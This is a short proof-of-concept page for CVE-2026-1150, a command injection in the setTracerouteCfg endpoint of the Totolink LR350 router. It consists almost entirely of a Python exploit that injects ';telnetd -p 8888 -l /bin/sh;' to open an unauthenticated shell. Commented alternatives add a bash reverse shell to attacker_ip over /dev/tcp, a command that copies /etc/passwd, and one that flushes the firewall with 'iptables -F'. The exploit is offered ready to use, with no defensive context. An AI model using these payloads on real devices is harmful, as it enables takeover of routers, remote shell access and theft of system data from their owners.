CVE-2026-1150 Totolink LR350 setTracerouteCfg命令注入漏洞

import requests # CVE-2026-1150 PoC - Totolink LR350 Command Injection # Target: /cgi-bin/cstecgi.cgi target_url = "http://target.com/cgi-bin/cstecgi.cgi" # Malicious payload to execute arbitrary command payload = { "topicurl": "setTracerouteCfg", "command": ";telnetd -p 8888 -l /bin/sh;" # Start telnet server on port 8888 } try: response = requests.post(target_url, data=payload, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") # Alternative: Reverse shell payload # "command": ";/bin/bash -c 'exec bash -i &>/dev/tcp/attacker_ip/port <&1'" # Alternative: Exfiltrate data # "command": ";cat /etc/passwd > /tmp/pwd.txt" # Alternative: Disable firewall # "command": ";iptables -F"